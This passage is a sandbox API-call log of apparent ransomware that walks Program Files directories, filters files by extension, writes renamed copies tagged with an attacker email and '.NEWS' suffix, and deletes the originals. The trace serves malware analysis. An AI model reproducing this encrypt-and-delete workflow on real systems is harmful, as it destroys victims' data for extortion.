[0194.088] lstrlenW (lpString=".pdf") returned 4 [0194.088] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0194.088] lstrlenW (lpString=".xls") returned 4 [0194.088] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0194.088] lstrlenW (lpString=".xlsx") returned 5 [0194.088] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0194.088] lstrlenW (lpString=".ppt") returned 4 [0194.088] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0194.088] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui") returned 57 [0194.088] lstrlenW (lpString=".zip") returned 4 [0194.088] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0194.088] lstrlenW (lpString=".rar") returned 4 [0194.088] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0194.088] lstrlenW (lpString=".bz2") returned 4 [0194.088] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0194.088] lstrlenW (lpString=".7z") returned 3 [0194.088] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0194.088] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui") returned 57 [0194.088] lstrlenW (lpString=".dbf") returned 4 [0194.088] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0194.088] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui") returned 57 [0194.088] lstrlenW (lpString=".1cd") returned 4 [0194.088] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0194.088] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui") returned 57 [0194.088] lstrlenW (lpString=".jpg") returned 4 [0194.088] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0194.088] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui") returned 57 [0194.088] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui") returned 57 [0194.088] lstrlenW (lpString=".doc") returned 4 [0194.088] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0194.088] lstrlenW (lpString=".docx") returned 5 [0194.088] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0194.088] lstrlenW (lpString=".pdf") returned 4 [0194.089] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0194.089] lstrlenW (lpString=".xls") returned 4 [0194.089] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0194.089] lstrlenW (lpString=".xlsx") returned 5 [0194.089] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0194.089] lstrlenW (lpString=".ppt") returned 4 [0194.089] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0194.089] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui") returned 57 [0194.089] lstrlenW (lpString=".zip") returned 4 [0194.089] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0194.089] lstrlenW (lpString=".rar") returned 4 [0194.089] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0194.089] lstrlenW (lpString=".bz2") returned 4 [0194.089] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0194.089] lstrlenW (lpString=".7z") returned 3 [0194.089] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0194.089] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui") returned 57 [0194.089] lstrlenW (lpString=".dbf") returned 4 [0194.089] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0194.089] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui") returned 57 [0194.089] lstrlenW (lpString=".1cd") returned 4 [0194.089] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0194.089] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui") returned 57 [0194.089] lstrlenW (lpString=".jpg") returned 4 [0194.089] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0194.089] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0194.089] lstrlenW (lpString="ExtExport.exe") returned 13 [0194.089] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\ExtExport.exe" (normalized: "c:\\program files\\internet explorer\\extexport.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0194.090] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=53248) returned 1 [0194.090] CloseHandle (hObject=0x350) returned 1 [0194.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\ExtExport.exe" (normalized: "c:\\program files\\internet explorer\\extexport.exe")) returned 0x20 [0194.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\ExtExport.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\internet explorer\\extexport.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0194.090] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\ExtExport.exe" (normalized: "c:\\program files\\internet explorer\\extexport.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.090] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ExtExport.exe") returned 48 [0194.090] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ExtExport.exe") returned 48 [0194.090] lstrlenW (lpString=".doc") returned 4 [0194.090] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0194.090] lstrlenW (lpString=".docx") returned 5 [0194.090] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0194.090] lstrlenW (lpString=".pdf") returned 4 [0194.090] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0194.090] lstrlenW (lpString=".xls") returned 4 [0194.090] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0194.090] lstrlenW (lpString=".xlsx") returned 5 [0194.090] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0194.090] lstrlenW (lpString=".ppt") returned 4 [0194.090] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0194.090] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ExtExport.exe") returned 48 [0194.090] lstrlenW (lpString=".zip") returned 4 [0194.090] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0194.090] lstrlenW (lpString=".rar") returned 4 [0194.091] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0194.091] lstrlenW (lpString=".bz2") returned 4 [0194.091] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0194.091] lstrlenW (lpString=".7z") returned 3 [0194.091] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0194.091] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ExtExport.exe") returned 48 [0194.091] lstrlenW (lpString=".dbf") returned 4 [0194.091] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0194.091] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ExtExport.exe") returned 48 [0194.091] lstrlenW (lpString=".1cd") returned 4 [0194.091] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0194.091] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ExtExport.exe") returned 48 [0194.091] lstrlenW (lpString=".jpg") returned 4 [0194.091] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0194.091] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ExtExport.exe") returned 48 [0194.091] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ExtExport.exe") returned 48 [0194.091] lstrlenW (lpString=".doc") returned 4 [0194.091] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0194.091] lstrlenW (lpString=".docx") returned 5 [0194.091] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0194.091] lstrlenW (lpString=".pdf") returned 4 [0194.091] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0194.091] lstrlenW (lpString=".xls") returned 4 [0194.091] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0194.091] lstrlenW (lpString=".xlsx") returned 5 [0194.091] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0194.091] lstrlenW (lpString=".ppt") returned 4 [0194.091] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0194.091] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ExtExport.exe") returned 48 [0194.091] lstrlenW (lpString=".zip") returned 4 [0194.091] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0194.091] lstrlenW (lpString=".rar") returned 4 [0194.091] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0194.091] lstrlenW (lpString=".bz2") returned 4 [0194.091] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0194.091] lstrlenW (lpString=".7z") returned 3 [0194.092] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0194.092] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ExtExport.exe") returned 48 [0194.092] lstrlenW (lpString=".dbf") returned 4 [0194.092] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0194.092] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ExtExport.exe") returned 48 [0194.092] lstrlenW (lpString=".1cd") returned 4 [0194.092] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0194.092] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ExtExport.exe") returned 48 [0194.092] lstrlenW (lpString=".jpg") returned 4 [0194.092] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0194.092] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0194.092] lstrlenW (lpString="hmmapi.dll") returned 10 [0194.092] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0194.092] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=54272) returned 1 [0194.092] CloseHandle (hObject=0x350) returned 1 [0194.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll")) returned 0x20 [0194.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\hmmapi.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0194.093] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.093] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\hmmapi.dll") returned 45 [0194.093] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\hmmapi.dll") returned 45 [0194.093] lstrlenW (lpString=".doc") returned 4 [0194.093] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0194.093] lstrlenW (lpString=".docx") returned 5 [0194.093] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0194.093] lstrlenW (lpString=".pdf") returned 4 [0194.093] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0194.093] lstrlenW (lpString=".xls") returned 4 [0194.093] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0194.093] lstrlenW (lpString=".xlsx") returned 5 [0194.093] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0194.093] lstrlenW (lpString=".ppt") returned 4 [0194.093] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0194.093] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\hmmapi.dll") returned 45 [0194.093] lstrlenW (lpString=".zip") returned 4 [0194.093] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0194.093] lstrlenW (lpString=".rar") returned 4 [0194.093] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0194.093] lstrlenW (lpString=".bz2") returned 4 [0194.093] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0194.093] lstrlenW (lpString=".7z") returned 3 [0194.093] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0194.093] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\hmmapi.dll") returned 45 [0194.093] lstrlenW (lpString=".dbf") returned 4 [0194.093] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0194.093] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\hmmapi.dll") returned 45 [0194.093] lstrlenW (lpString=".1cd") returned 4 [0194.094] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0194.094] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\hmmapi.dll") returned 45 [0194.094] lstrlenW (lpString=".jpg") returned 4 [0194.094] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0194.094] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\hmmapi.dll") returned 45 [0194.094] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\hmmapi.dll") returned 45 [0194.094] lstrlenW (lpString=".doc") returned 4 [0194.094] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0194.094] lstrlenW (lpString=".docx") returned 5 [0194.094] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0194.094] lstrlenW (lpString=".pdf") returned 4 [0194.094] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0194.094] lstrlenW (lpString=".xls") returned 4 [0194.094] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0194.094] lstrlenW (lpString=".xlsx") returned 5 [0194.094] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0194.094] lstrlenW (lpString=".ppt") returned 4 [0194.094] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0194.094] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\hmmapi.dll") returned 45 [0194.094] lstrlenW (lpString=".zip") returned 4 [0194.094] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0194.094] lstrlenW (lpString=".rar") returned 4 [0194.094] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0194.094] lstrlenW (lpString=".bz2") returned 4 [0194.094] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0194.094] lstrlenW (lpString=".7z") returned 3 [0194.094] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0194.094] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\hmmapi.dll") returned 45 [0194.094] lstrlenW (lpString=".dbf") returned 4 [0194.094] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0194.094] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\hmmapi.dll") returned 45 [0194.094] lstrlenW (lpString=".1cd") returned 4 [0194.094] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0194.094] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\hmmapi.dll") returned 45 [0194.094] lstrlenW (lpString=".jpg") returned 4 [0194.094] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0194.095] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0194.095] lstrlenW (lpString="iediagcmd.exe") returned 13 [0194.095] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\iediagcmd.exe" (normalized: "c:\\program files\\internet explorer\\iediagcmd.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0194.095] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=512000) returned 1 [0194.095] CloseHandle (hObject=0x350) returned 1 [0194.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\iediagcmd.exe" (normalized: "c:\\program files\\internet explorer\\iediagcmd.exe")) returned 0x20 [0194.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\iediagcmd.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\internet explorer\\iediagcmd.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0194.095] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\iediagcmd.exe" (normalized: "c:\\program files\\internet explorer\\iediagcmd.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.095] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\iediagcmd.exe") returned 48 [0194.095] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\iediagcmd.exe") returned 48 [0194.095] lstrlenW (lpString=".doc") returned 4 [0194.095] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0194.095] lstrlenW (lpString=".docx") returned 5 [0194.095] lstrcmpiW (lpString1=".docx", lpString2="d.exe") returned -1 [0194.096] lstrlenW (lpString=".pdf") returned 4 [0194.096] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0194.096] lstrlenW (lpString=".xls") returned 4 [0194.096] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0194.096] lstrlenW (lpString=".xlsx") returned 5 [0194.096] lstrcmpiW (lpString1=".xlsx", lpString2="d.exe") returned -1 [0194.096] lstrlenW (lpString=".ppt") returned 4 [0194.096] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0194.096] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\iediagcmd.exe") returned 48 [0194.096] lstrlenW (lpString=".zip") returned 4 [0194.096] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0194.096] lstrlenW (lpString=".rar") returned 4 [0194.096] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0194.096] lstrlenW (lpString=".bz2") returned 4 [0194.096] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0194.096] lstrlenW (lpString=".7z") returned 3 [0194.096] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0194.096] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\iediagcmd.exe") returned 48 [0194.096] lstrlenW (lpString=".dbf") returned 4 [0194.096] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0194.555] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.556] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.556] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0194.603] GetLastError () returned 0x0 [0194.604] ReadFile (in: hFile=0x38c, lpBuffer=0x3c24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c24020*, lpNumberOfBytesRead=0x377fecc*=0x4240, lpOverlapped=0x0) returned 1 [0194.629] WriteFile (in: hFile=0x390, lpBuffer=0x3c24020*, nNumberOfBytesToWrite=0x4250, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c24020*, lpNumberOfBytesWritten=0x377fc94*=0x4250, lpOverlapped=0x0) returned 1 [0194.631] ReadFile (in: hFile=0x38c, lpBuffer=0x3c24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c24020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.631] WriteFile (in: hFile=0x390, lpBuffer=0x3c24020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c24020*, lpNumberOfBytesWritten=0x377fc94*=0xe2, lpOverlapped=0x0) returned 1 [0194.631] SetEndOfFile (hFile=0x390) returned 1 [0194.631] CloseHandle (hObject=0x390) returned 1 [0194.631] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.632] SetEndOfFile (hFile=0x38c) returned 1 [0194.633] CloseHandle (hObject=0x38c) returned 1 [0194.633] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0194.633] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll")) returned 1 [0194.634] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0194.634] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0194.634] lstrlenW (lpString=".doc") returned 4 [0194.634] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0194.634] lstrlenW (lpString=".docx") returned 5 [0194.634] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0194.634] lstrlenW (lpString=".pdf") returned 4 [0194.634] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0194.634] lstrlenW (lpString=".xls") returned 4 [0194.634] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0194.634] lstrlenW (lpString=".xlsx") returned 5 [0194.634] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0194.634] lstrlenW (lpString=".ppt") returned 4 [0194.634] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0194.634] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0194.634] lstrlenW (lpString=".zip") returned 4 [0194.634] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0194.634] lstrlenW (lpString=".rar") returned 4 [0194.634] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0194.634] lstrlenW (lpString=".bz2") returned 4 [0194.634] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0194.634] lstrlenW (lpString=".7z") returned 3 [0194.634] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0194.634] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0194.634] lstrlenW (lpString=".dbf") returned 4 [0194.634] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0194.634] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0194.634] lstrlenW (lpString=".1cd") returned 4 [0194.634] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0194.634] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0194.634] lstrlenW (lpString=".jpg") returned 4 [0194.634] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0194.634] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0194.634] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0194.634] lstrlenW (lpString=".doc") returned 4 [0194.634] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0194.635] lstrlenW (lpString=".docx") returned 5 [0194.635] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0194.635] lstrlenW (lpString=".pdf") returned 4 [0194.635] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0194.635] lstrlenW (lpString=".xls") returned 4 [0194.635] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0194.635] lstrlenW (lpString=".xlsx") returned 5 [0194.635] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0194.635] lstrlenW (lpString=".ppt") returned 4 [0194.635] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0194.635] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0194.635] lstrlenW (lpString=".zip") returned 4 [0194.635] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0194.635] lstrlenW (lpString=".rar") returned 4 [0194.635] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0194.635] lstrlenW (lpString=".bz2") returned 4 [0194.635] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0194.635] lstrlenW (lpString=".7z") returned 3 [0194.635] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0194.635] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0194.635] lstrlenW (lpString=".dbf") returned 4 [0194.635] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0194.635] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0194.635] lstrlenW (lpString=".1cd") returned 4 [0194.635] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0194.635] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0194.635] lstrlenW (lpString=".jpg") returned 4 [0194.635] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0194.635] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0194.635] lstrlenW (lpString="dcpr.dll") returned 8 [0194.635] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0194.636] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=159808) returned 1 [0194.636] CloseHandle (hObject=0x38c) returned 1 [0194.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll")) returned 0x20 [0194.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0194.636] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0194.636] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.636] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.636] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0194.637] GetLastError () returned 0x0 [0194.637] ReadFile (in: hFile=0x38c, lpBuffer=0x3c24020, nNumberOfBytesToRead=0xffff0, 